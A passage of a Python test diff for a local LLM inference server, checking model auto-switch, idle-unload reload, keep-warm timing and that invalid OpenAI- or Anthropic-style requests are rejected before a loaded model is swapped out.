+ enabled = False, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), # would switch if resolver ran + backend = backend, + recorder = rec, + ) + monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 600) # standalone env TTL + monkeypatch.setattr(kw, "_inflight", 0) + monkeypatch.setattr(kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF")) + _run_hook("org/B-GGUF") + # Resolver skipped (auto-switch off), so only the stash reload runs: the freed A + # is restored, not the resolves_to target B. + assert len(rec.calls) == 1 + assert rec.calls[0].model_path == "/cache/snap/A" + assert rec.calls[0].gguf_variant == "Q4_K_M" + + +def test_no_stash_reload_when_idle_off_and_auto_switch_off(monkeypatch): + # C3 guard: with both auto-switch and idle-unload off the hook is a pure no-op + # and must not resurrect a stashed model (that path only serves the idle feature). + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec) + monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 0) + monkeypatch.setattr(kw, "_inflight", 0) + monkeypatch.setattr(kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF")) + _run_hook("org/B-GGUF") + assert rec.calls == [] + + +def test_stash_reload_skipped_while_unsloth_model_active(monkeypatch): + # An Unsloth/Transformers model loaded after an idle-unload leaves the GGUF slot + # empty but is the live model; an unknown /v1 name must NOT resurrect the stale + # GGUF stash (that reload would tear the active Unsloth model down). + from types import SimpleNamespace + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend(None) # GGUF slot empty + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = True, resolves_to = None, backend = backend, recorder = rec) + monkeypatch.setattr(kw, "_inflight", 0) + monkeypatch.setattr(kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF")) + # An Unsloth model is the live backend. + monkeypatch.setattr( + inference_route, + "get_inference_backend", + lambda: SimpleNamespace(active_model_name = "unsloth/Qwen3-8B"), + ) + _run_hook("gpt-4o-mini") + assert rec.calls == [] # stale GGUF not reloaded over the active Unsloth model + + +def test_is_abs_path_id_distinguishes_path_from_repo_id(): + assert resolver._is_abs_path_id("/abs/path/model.gguf") is True + assert resolver._is_abs_path_id("org/Repo-GGUF") is False + assert resolver._is_abs_path_id("Repo") is False + + +def test_advertised_loader_id_prefers_alias_over_abs_path(): + # C1: the ./models and LM Studio scanners report the on-disk path as info.id. + from types import SimpleNamespace + + f = resolver._advertised_loader_id + # An absolute-path id falls back to the first non-path alias. + assert ( + f(SimpleNamespace(id = "/home/me/models/x", model_id = "org/X-GGUF", display_name = "X")) + == "org/X-GGUF" + ) + # No alias available: strip the path to a public id so a host path is never advertised. + assert ( + f( + SimpleNamespace( + id = "/home/me/models/Qwen3-8B-Q4_K_M.gguf", model_id = None, display_name = None + ) + ) + == "Qwen3-8B-Q4_K_M" + ) + # A normal repo id is advertised as-is. + assert ( + f(SimpleNamespace(id = "org/X-GGUF", model_id = "org/X-GGUF", display_name = "X")) == "org/X-GGUF" + ) + + +def test_index_advertises_alias_not_filesystem_path(tmp_path, monkeypatch): + # C1 end-to-end: a scanner that reports the path as the id must not advertise the + # host path in /v1/models, yet the model stays resolvable by that path too. + from types import SimpleNamespace + import routes.models as models_route + + gguf = tmp_path / "model-Q4_K_M.gguf" + gguf.write_bytes(b"x" * 32) + info = SimpleNamespace( + id = str(gguf), # scanner uses the on-disk path as the id + path = str(gguf), + model_id = "org/Repo-GGUF", + display_name = "Repo", + ) + monkeypatch.setattr(models_route, "_scan_models_dir", lambda *a, **k: [info]) + monkeypatch.setattr(models_route, "_scan_hf_cache", lambda *a, **k: []) + monkeypatch.setattr(models_route, "_resolve_hf_cache_dir", lambda: tmp_path) + monkeypatch.setattr(models_route, "_is_hidden_model", lambda *a, **k: False) + resolver._scan = (0.0, {}) + + # The advertised id is the alias, never the absolute path. + advertised = sorted({entry.loader_id for entry in resolver._index().values()}) + assert advertised == ["org/Repo-GGUF"] + # But the model is still resolvable by its on-disk path (an indexed alias). + resolver._scan = (0.0, {}) + assert resolver.resolve_local_gguf(str(gguf)) is not None + + +def test_build_index_survives_a_failing_scanner(tmp_path, monkeypatch): + # gemini: one bad scanner (e.g. a permission error on ./models) must drop only + # that source, not abort the whole index and lose what the others found. + from types import SimpleNamespace + import routes.models as models_route + import utils.paths as paths + + def _boom(*a, **k): + raise OSError("permission denied") + + lm_info = SimpleNamespace( + id = "org/Repo-GGUF", path = "/lm/Repo", model_id = "org/Repo-GGUF", display_name = "Repo" + ) + monkeypatch.setattr(models_route, "_scan_models_dir", _boom) # ./models blows up + monkeypatch.setattr(models_route, "_scan_hf_cache", lambda *a, **k: []) + monkeypatch.setattr(models_route, "_resolve_hf_cache_dir", lambda: tmp_path) + monkeypatch.setattr(models_route, "_is_hidden_model", lambda *a, **k: False) + monkeypatch.setattr(models_route, "_scan_lmstudio_dir", lambda *a, **k: [lm_info]) + monkeypatch.setattr(paths, "legacy_hf_cache_dir", lambda: None) + monkeypatch.setattr(paths, "hf_default_cache_dir", lambda: None) + monkeypatch.setattr(paths, "lmstudio_model_dirs", lambda: [tmp_path]) + # The on-disk GGUF check is covered elsewhere; here a found info becomes an entry. + monkeypatch.setattr( + resolver, + "_local_gguf_entry", + lambda loader_id, info: resolver._LocalGgufEntry(loader_id, "/lm/Repo", ()), + ) + resolver._scan = (0.0, {}) + index = resolver._build_index() + assert any(e.loader_id == "org/Repo-GGUF" for e in index.values()) + + +def test_info_has_local_gguf_reads_files_not_model_format(tmp_path): + # Codex: HF-cache GGUF snapshots leave model_format unset, so /v1/models must + # decide GGUF-ness from the on-disk files. A standalone .gguf (no model_format) + # is servable; a safetensors-only dir is not. + from types import SimpleNamespace + + gguf = tmp_path / "model-Q4_K_M.gguf" + gguf.write_bytes(b"x" * 32) + assert resolver.info_has_local_gguf(SimpleNamespace(id = str(gguf), path = str(gguf))) is True + + st = tmp_path / "safetensors_model" + st.mkdir() + (st / "model.safetensors").write_bytes(b"x" * 32) + assert resolver.info_has_local_gguf(SimpleNamespace(id = str(st), path = str(st))) is False + + +def test_info_has_local_gguf_excludes_ollama_links(tmp_path): + # Codex P2: Ollama entries come from a scanner _build_index skips, so their + # advertised ids never resolve; the catalog must not report them as servable. + from types import SimpleNamespace + + links = tmp_path / ".studio_links" + links.mkdir() + ollama_gguf = links / "model-Q4_K_M.gguf" + ollama_gguf.write_bytes(b"x" * 32) + assert ( + resolver.info_has_local_gguf(SimpleNamespace(id = "ollama/foo:latest", path = str(ollama_gguf))) + is False + ) + # The same GGUF outside an ollama-link dir is still servable. + plain = tmp_path / "model-Q4_K_M.gguf" + plain.write_bytes(b"x" * 32) + assert resolver.info_has_local_gguf(SimpleNamespace(id = str(plain), path = str(plain))) is True + + +def test_embeddings_input_present_helper(): + f = inference_route._embeddings_input_present + assert f({"input": "hi"}) is True + assert f({"input": ["a", "b"]}) is True + assert f({"input": [1, 2, 3]}) is True + assert f({}) is False + assert f({"input": ""}) is False + assert f({"input": []}) is False + + +def test_embeddings_rejects_missing_input_before_switch(monkeypatch): + # C2: with auto-switch on, an embeddings request carrying no input must 400 + # before the hook, so an invalid request never swaps the resident model. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") # loaded + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + with pytest.raises(HTTPException) as exc: + asyncio.run( + inference_route.openai_embeddings(_json_body_request({"model": "org/B-GGUF"}), "tester") + ) + assert exc.value.status_code == 400 + assert rec.calls == [] # no model switch happened + + +def test_retrieve_model_tolerates_non_string_id(monkeypatch): + # G2: a model object with a non-string id (defensive) must be skipped rather + # than crashing the .lower() compare; a valid id is still found, unknown 404s. + from fastapi import HTTPException + + async def _objs(): + return [{"id": 123, "object": "model"}, {"id": "org/B-GGUF", "object": "model"}] + + monkeypatch.setattr(inference_route, "_openai_model_objects", lambda: []) # nothing loaded + monkeypatch.setattr(inference_route, "_openai_catalog_objects", _objs) + obj = asyncio.run(inference_route.openai_retrieve_model("org/B-GGUF", "tester")) + assert obj["id"] == "org/B-GGUF" + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_retrieve_model("123", "tester")) + assert exc.value.status_code == 404 + + +def test_retrieve_model_resolves_raw_path_to_advertised_id(monkeypatch): + # Codex P2: a client caching the legacy absolute .gguf path must still retrieve + # a loaded auto-switch model. Its /v1/models entry is keyed by the advertised + # repo id (identifier = snapshot path), so the raw-path fallback must map the raw + # id to that advertised id, not public_model_id(path), or a loaded model 404s. + from types import SimpleNamespace + + raw_path = "/cache/models--org--B-GGUF/snapshots/abc/model.gguf" + llama = SimpleNamespace( + is_loaded = True, model_identifier = raw_path, _openai_advertised_id = "org/B-GGUF" + ) + infer = SimpleNamespace(active_model_name = None) + monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: llama) + monkeypatch.setattr(inference_route, "get_inference_backend", lambda: infer) + monkeypatch.setattr( + inference_route, + "_openai_model_objects", + lambda: [{"id": "org/B-GGUF", "object": "model"}], + ) + + async def _empty(): + return [] + + monkeypatch.setattr(inference_route, "_openai_catalog_objects", _empty) + obj = asyncio.run(inference_route.openai_retrieve_model(raw_path, "tester")) + assert obj["id"] == "org/B-GGUF" and obj["loaded"] is True + + +def test_chat_streaming_n_gt_1_rejected_before_switch(monkeypatch): + # Codex P2: only the non-streaming GGUF path returns multiple choices, so + # stream=true + n>1 is invalid on every local serving path. Both fields are + # known pre-switch, so it must 400 before the switch rather than loading model B. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + payload = _chat_request(model = "org/B-GGUF", stream = True, n = 2) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester")) + assert exc.value.status_code == 400 + assert rec.calls == [] + + +def test_resolver_cache_stamped_after_slow_build(monkeypatch): + # Codex P2: the cache must be stamped AFTER _build_index. A scan slower than the + # TTL would otherwise store an already-expired cache and rebuild every request. + import core.inference.local_model_resolver as r + + clock = {"t": 1000.0} + monkeypatch.setattr(r.time, "monotonic", lambda: clock["t"]) + calls = {"n": 0} + + def _slow_build(): + calls["n"] += 1 + clock["t"] += r._CACHE_TTL_S + 10.0 # the scan itself outlasts the TTL + return {} + + monkeypatch.setattr(r, "_build_index", _slow_build) + r._scan = (0.0, {}) + r._index() # builds once, stamps post-scan + r._index() # immediately after: must reuse the cache, not rebuild + assert calls["n"] == 1 + + +def test_keepwarm_does_not_stamp_activity_on_401(monkeypatch): + # Codex P2: the keep-warm middleware runs before auth, so a 401 must decrement + # the in-flight count without stamping activity, or unauthenticated probes would + # keep the model warm and block idle-unload. + import core.inference.llama_keepwarm as kw + + monkeypatch.setattr(kw, "_inflight", 0) + monkeypatch.setattr(kw, "_pending", 0) + monkeypatch.setattr(kw, "_last_active", 100.0) + + async def _recv(): + return {"type": "http.request"} + + async def _run(status_code): + async def _app(scope, receive, send): + await send({"type": "http.response.start", "status": status_code, "headers": []}) + await send({"type": "http.response.body", "body": b"x", "more_body": False}) + + sent = [] + + async def _send(m): + sent.append(m) + + mw = kw.LlamaKeepWarmMiddleware(_app) + await mw({"type": "http", "method": "POST", "path": "/v1/chat/completions"}, _recv, _send) + + asyncio.run(_run(401)) + assert kw._inflight == 0 # balanced (start then untracked end) + assert kw._last_active == 100.0 # activity NOT stamped for an auth failure + # A served (200) request still stamps activity. + asyncio.run(_run(200)) + assert kw._inflight == 0 + assert kw._last_active != 100.0 + + +# ── 10-reviewer round: automatic-load validation asymmetry, audio, preview, idle timer ── + + +def _stash(monkeypatch, *, idle = 600): + """Common setup for the standalone-idle reload paths: feature off, idle TTL on, + an idle-freed model in the stash, nothing loaded, no in-flight requests.""" + from core.inference import llama_keepwarm as kw + + monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: idle) + monkeypatch.setattr(kw, "_inflight", 0) + monkeypatch.setattr(kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF")) + + +def test_completions_prompt_present_helper(): + f = inference_route._completions_prompt_present + assert f({"prompt": "hi"}) is True + assert f({"prompt": ["a", "b"]}) is True + assert f({}) is False + assert f({"prompt": ""}) is False + assert f({"prompt": []}) is False + + +def test_completions_rejects_missing_prompt_before_switch(monkeypatch): + # #1: /v1/completions had no prompt pre-check, so a malformed request naming a + # different downloaded GGUF loaded it before failing. Now it 400s first. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + with pytest.raises(HTTPException) as exc: + asyncio.run( + inference_route.openai_completions( + _json_body_request({"model": "org/B-GGUF"}), "tester" + ) + ) + assert exc.value.status_code == 400 + assert rec.calls == [] # no switch before rejection + + +def test_chat_system_only_rejected_before_idle_reload(monkeypatch): + # #4: the chat pre-load guard only checked auto-switch; a standalone idle TTL + # could still reload a system-only chat before the 400. Now it 400s first. + from fastapi import HTTPException + from models.inference import ChatCompletionRequest + + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec) + _stash(monkeypatch) + payload = ChatCompletionRequest(model = "x", messages = [{"role": "system", "content": "sys"}]) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester")) + assert exc.value.status_code == 400 + assert rec.calls == [] # no reload before rejection + + +def test_embeddings_missing_input_rejected_before_idle_reload(monkeypatch): + # #5: same gap on /v1/embeddings; the missing-input 400 must fire under a + # standalone idle TTL too, not only when auto-switch is on. + from fastapi import HTTPException + + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec) + _stash(monkeypatch) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_embeddings(_json_body_request({"model": "x"}), "tester")) + assert exc.value.status_code == 400 + assert rec.calls == [] # no reload before rejection + + +def test_messages_does_not_503_before_reload_hook_when_idle_on(monkeypatch): + # #3: /v1/messages 503'd before the reload hook when auto-switch was off, so a + # standalone idle TTL could never restore the freed model. The early 503 now + # defers to any automatic-load trigger, so the reload hook runs. + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec) + _stash(monkeypatch) + # The handler proceeds past the hook to real generation (no llama-server here), + # so tolerate the downstream failure; the reload having run is the assertion. + try: + asyncio.run( + inference_route.anthropic_messages( + _anthropic_payload(max_tokens = 16), object(), "tester" + ) + ) + except Exception: + pass + assert len(rec.calls) == 1 + assert rec.calls[0].model_path == "/cache/snap/A" + + +def test_messages_503_gated_on_automatic_load_predicate(): + # Lock the #3 fix at the source: the early 503 must check the shared predicate. + import inspect + src = inspect.getsource(inference_route.anthropic_messages) + assert "_automatic_model_load_may_run" in src + + +def test_raw_body_without_model_reloads_freed_model(monkeypatch): + # #6: a raw completions/embeddings body that omits `model` passed None, which + # skipped the idle-stash reload and 503'd. A non-empty sentinel now lets the + # reload run while still resolving as unknown. + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec) + _stash(monkeypatch) + body = asyncio.run( + inference_route._auto_switch_from_request_body( + _json_body_request({"prompt": "hi"}), "tester" + ) + ) + assert body == {"prompt": "hi"} + assert len(rec.calls) == 1 + assert rec.calls[0].model_path == "/cache/snap/A" + assert rec.calls[0].gguf_variant == "Q4_K_M" + + +def test_audio_generate_reloads_idle_freed_model(monkeypatch): + # #2: /audio/generate is keep-warm-tracked but had no reload hook, so an + # idle-freed audio GGUF stayed unloaded. The hook now restores it. + from models.inference import ChatCompletionRequest + + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec) + _stash(monkeypatch) + payload = ChatCompletionRequest(model = "x", messages = [{"role": "user", "content": "say hi"}]) + # Falls through to the non-audio backend path (no real model) after the reload; + # tolerate that downstream failure, the reload having run is the assertion. + try: + asyncio.run(inference_route.generate_audio(payload, object(), "tester")) + except Exception: + pass + assert len(rec.calls) == 1 + assert rec.calls[0].model_path == "/cache/snap/A" + + +def test_audio_generate_does_not_reload_on_invalid_request(monkeypatch): + # The audio reload hook must run after message validation, so an empty request + # never triggers a reload. + from fastapi import HTTPException + from models.inference import ChatCompletionRequest + + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec) + _stash(monkeypatch) + payload = ChatCompletionRequest(model = "x", messages = []) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.generate_audio(payload, object(), "tester")) + assert exc.value.status_code == 400 + assert rec.calls == [] + + +def test_preview_scope_disables_auto_switch(monkeypatch): + # #7: the public preview route delegates to the chat handler; a caller-supplied + # model must not switch away from the pinned checkpoint. The scope opt-out flag + # makes the hook a no-op. + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + + class _Req: + def __init__(self): + self.scope = {} + + req = _Req() + inference_route.disable_openai_auto_switch_for_request(req.scope) + asyncio.run(inference_route._maybe_auto_switch_model("org/B-GGUF", req, "tester")) + assert rec.calls == [] # preview opt-out suppressed the switch + + # Control: a fresh request without the flag would switch. + req2 = _Req() + asyncio.run(inference_route._maybe_auto_switch_model("org/B-GGUF", req2, "tester")) + assert len(rec.calls) == 1 + + +def test_preview_chat_is_tracked_as_inference_path(): + # #8: long preview streams use the same backend; the keep-warm middleware must + # count them so the idle loop can't unload mid-response. + from core.inference.llama_keepwarm import _is_inference_path + + assert _is_inference_path("/p/my-run/v1/chat/completions") is True + assert _is_inference_path("/p/my-run/ckpt-100/v1/chat/completions") is True + assert _is_inference_path("/p/my-run/v1/models") is False + + +def test_untrack_does_not_reset_idle_timer(): + # #9: external-provider traffic was keeping the local GGUF warm forever because + # untrack stamped _last_active. It must decrement in-flight without restamping. + import time + from core.inference import llama_keepwarm as kw + + kw._inflight = 1 + kw._last_active = time.monotonic() - 3600 + before = kw._last_active + scope = {"type": "http"} + kw.untrack_current_request(scope) + assert kw._inflight == 0 + assert kw._last_active == before # idle timer not reset by an untracked request + kw._inflight = 0 + + +def test_note_start_does_not_reset_idle_timer(): + # The start stamp was removed so an external request that is later untracked + # cannot reset the timer at start either; in-flight count still protects it. + import time + from core.inference import llama_keepwarm as kw + + kw._inflight = 0 + kw._pending = 0 + kw._last_active = time.monotonic() - 3600 + before = kw._last_active + kw._note_start() + try: + assert kw._inflight == 1 + assert kw._last_active == before # start no longer stamps activity + assert kw._is_idle(1.0) is False # but in-flight still blocks unload + finally: + kw._note_end() # restores _last_active stamp on completion + + +# ── codex review (merge round): reload-only sentinel, Anthropic tool validation ── + + +def test_omitted_model_does_not_resolve_to_a_named_gguf(monkeypatch): + # Codex P2: a raw-body request that omits `model` must never run the resolver, + # so a downloaded GGUF literally named "default" can't be switched to. The + # resolver here would switch to B if it ran; it must not. + backend = _FakeBackend("org/A-GGUF") # a model is already loaded + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + body = asyncio.run( + inference_route._auto_switch_from_request_body( + _json_body_request({"prompt": "hi"}), "tester" + ) + ) + assert body == {"prompt": "hi"} + assert rec.calls == [] # resolver skipped (would have switched to B otherwise) + + +def test_omitted_model_still_reloads_idle_freed_model(monkeypatch): + # The reload-only sentinel must still restore an idle-freed model (the round-9 + # behavior), it just never runs the resolver. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend(None) # idle-unload emptied the slot + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec) + monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 600) + monkeypatch.setattr(kw, "_inflight", 0) + monkeypatch.setattr(kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF")) + asyncio.run( + inference_route._auto_switch_from_request_body( + _json_body_request({"prompt": "hi"}), "tester" + ) + ) + assert len(rec.calls) == 1 + assert rec.calls[0].model_path == "/cache/snap/A" + + +def _anthropic_payload_with_tools(tools, max_tokens = 16): + from models.inference import AnthropicMessagesRequest, AnthropicMessage + return AnthropicMessagesRequest( + model = "org/B-GGUF", + max_tokens = max_tokens, + messages = [AnthropicMessage(role = "user", content = "hi")], + tools = tools, + ) + + +def test_anthropic_invalid_tool_rejected_before_switch(monkeypatch): + # Codex P2: a malformed client tool (no input_schema, no server-tool type) must + # 400 before the auto-switch hook, so an invalid request never evicts the model. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + payload = _anthropic_payload_with_tools([{"name": "broken"}]) # missing input_schema + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.anthropic_messages(payload, object(), "tester")) + assert exc.value.status_code == 400 + assert rec.calls == [] # rejected before the model load + + +def test_anthropic_validates_tools_before_auto_switch(): + # Lock the order at the source: tool-shape validation precedes the hook, for + # both /messages and /messages/count_tokens (shared helper). + import inspect + for fn in (inference_route.anthropic_messages, inference_route.anthropic_count_tokens): + src = inspect.getsource(fn) + assert src.index("_validate_anthropic_client_tools") < src.index("_maybe_auto_switch_model") + + +def test_anthropic_mixed_tools_rejected_before_switch(monkeypatch): + # Codex P2: combining an Anthropic server tool (type) with a custom client tool + # (input_schema) is unsupported and must 400 before the switch, so the request + # can't evict the loaded model only to be rejected after the load. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + payload = _anthropic_payload_with_tools( + [ + {"type": "web_search_20250305"}, # server tool + {"name": "my_func", "input_schema": {"type": "object"}}, # client tool + ] + ) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.anthropic_messages(payload, object(), "tester")) + assert exc.value.status_code == 400 + assert rec.calls == [] # rejected before the model load + + +# ── codex review (round 2): schema-default model, Responses tool validation ── + + +def _chat_msg(text = "hi"): + from models.inference import ChatMessage + return ChatMessage(role = "user", content = text) + + +def _responses_payload(*, tools = None, set_model = True): + from models.inference import ResponsesRequest + + kwargs = dict(input = "hi") + if set_model: + kwargs["model"] = "org/B-GGUF" + if tools is not None: + kwargs["tools"] = tools + return ResponsesRequest(**kwargs) + + +def test_switch_model_for_payload_only_switches_when_explicit(): + # Codex P2: an omitted `model` (pydantic fills "default") must be reload-only; + # an explicitly set model -- including a literal "default" -- is honored. + from models.inference import ChatCompletionRequest + + omitted = ChatCompletionRequest(messages = [_chat_msg()]) + assert inference_route._switch_model_for_payload(omitted) == inference_route._RELOAD_ONLY_MODEL + explicit_default = ChatCompletionRequest(model = "default", messages = [_chat_msg()]) + assert inference_route._switch_model_for_payload(explicit_default) == "default" + explicit = ChatCompletionRequest(model = "org/B-GGUF", messages = [_chat_msg()]) + assert inference_route._switch_model_for_payload(explicit) == "org/B-GGUF" + + +def test_omitted_schema_model_skips_resolver(monkeypatch): + # End to end: a schema request omitting `model` must not run the resolver, so a + # GGUF named "default" is never swapped to; an explicit model still switches. + from models.inference import ChatCompletionRequest + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("org/B-GGUF", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + omitted = ChatCompletionRequest(messages = [_chat_msg()]) + asyncio.run( + inference_route._maybe_auto_switch_model( + inference_route._switch_model_for_payload(omitted), object(), "tester" + ) + ) + assert rec.calls == [] # resolver skipped + explicit = ChatCompletionRequest(model = "org/B-GGUF", messages = [_chat_msg()]) + asyncio.run( + inference_route._maybe_auto_switch_model( + inference_route._switch_model_for_payload(explicit), object(), "tester" + ) + ) + assert len(rec.calls) == 1 # explicit model still switches + + +def test_build_chat_request_propagates_omitted_model(): + # _build_chat_request must not turn an omitted Responses model into an explicit + # "default", or the non-streaming chat re-check would switch on it. + omitted = _responses_payload(set_model = False) + chat_req = inference_route._build_chat_request(omitted, [_chat_msg()], stream = False) + assert "model" not in chat_req.model_fields_set + explicit = _responses_payload(set_model = True) + chat_req2 = inference_route._build_chat_request(explicit, [_chat_msg()], stream = False) + assert "model" in chat_req2.model_fields_set + + +def test_responses_invalid_function_tool_rejected_before_switch(monkeypatch): + # Codex P2: a malformed function tool (no name) must 400 before the hook, so an + # invalid /v1/responses request never switches or evicts the loaded model. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("org/B-GGUF", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + payload = _responses_payload(tools = [{"type": "function", "parameters": {}}]) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_responses(payload, object(), "tester")) + assert exc.value.status_code == 400 + assert rec.calls == [] # rejected before the model load + + +def test_responses_valid_and_builtin_tools_pass_validation(monkeypatch): + # A well-formed function tool and a built-in (non-function) tool must pass the + # pre-switch check. Stub the hook so the test stops right after validation. + class _Reached(Exception): + pass + + async def _boom(*a, **k): + raise _Reached() + + monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _boom) + payload = _responses_payload( + tools = [{"type": "function", "name": "ok", "parameters": {}}, {"type": "web_search"}] + ) + with pytest.raises(_Reached): + asyncio.run(inference_route.openai_responses(payload, object(), "tester")) + + +def test_responses_validates_tools_before_auto_switch(): + # Lock the order at the source: tool validation precedes the switch hook. + import inspect + src = inspect.getsource(inference_route.openai_responses) + assert src.index("each function tool must have a 'name'") < src.index( + "_maybe_auto_switch_model" + ) + + +def test_responses_forcing_tool_choice_without_name_rejected_before_switch(monkeypatch): + # Codex P2: a forcing-function tool_choice with no name (Responses shape + # {"type": "function"}) must 400 before the switch, so the streaming path can't + # forward a bad choice and an invalid request can't evict the model. + from fastapi import HTTPException + from models.inference import ResponsesRequest + + async def _boom(*a, **k): + raise AssertionError("must not switch on an invalid tool_choice") + + monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _boom) + payload = ResponsesRequest(model = "org/B-GGUF", input = "hi", tool_choice = {"type": "function"}) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_responses(payload, object(), "tester")) + assert exc.value.status_code == 400 + # A named forcing choice is accepted (reaches the switch, which is mocked to raise). + ok = ResponsesRequest( + model = "org/B-GGUF", input = "hi", tool_choice = {"type": "function", "name": "f"} + ) + with pytest.raises(AssertionError): + asyncio.run(inference_route.openai_responses(ok, object(), "tester")) + + +# ── codex review (round 3): process-wide swap gate across event loops ── + + +def test_swap_acquires_process_gate_before_load(): + # Lock in the structure: the process-wide gate is acquired before the load and + # always released, so a cross-loop swap can't reach _load_model_impl unguarded. + import inspect + + src = inspect.getsource(inference_route._maybe_auto_switch_model) + assert src.index("_acquire_swap_gate") < src.index("_load_model_impl") + assert "_auto_switch_process_lock.release()" in src + + +# ── codex review (round 4): validate modality + tool-confirmation before switch ── + + +def _chat_request(**kw): + from models.inference import ChatCompletionRequest, ChatMessage + kw.setdefault("messages", [ChatMessage(role = "user", content = "hi")]) + return ChatCompletionRequest(**kw) + + +def test_chat_confirm_without_stream_rejected_before_switch(monkeypatch): + # Codex P2: confirm_tool_calls=true + stream=false + local tools is an invalid + # shape; it must 400 before the switch hook so it can't evict the resident model. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("org/B-GGUF", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + payload = _chat_request( + model = "org/B-GGUF", enable_tools = True, confirm_tool_calls = True, stream = False + ) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester")) + assert exc.value.status_code == 400 + assert rec.calls == [] + + +def test_chat_confirm_with_bypass_permissions_reaches_hook(monkeypatch): + # bypass_permissions suppresses the confirm gate, so the pre-check must not fire; + # the request should reach the switch hook (stubbed here to a sentinel). + class _Reached(Exception): + pass + + async def _boom(*a, **k): + raise _Reached() + + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True) + monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _boom) + payload = _chat_request( + model = "org/B-GGUF", + enable_tools = True, + confirm_tool_calls = True, + stream = False, + bypass_permissions = True, + ) + with pytest.raises(_Reached): + asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester")) + + +def test_chat_audio_input_guards_target_before_switch(monkeypatch): + # Codex P2: a chat request carrying audio_base64 must guard the target before the + # switch -- audio rides the same companion mmproj as vision -- so a text-only + # target can't be loaded and evict the working audio model. Assert the handler + # flags require_vision so the hook's multimodal probe runs. + class _Reached(Exception): + pass + + captured = {} + + async def _capture( + model, + request, + subject, + *, + require_vision = 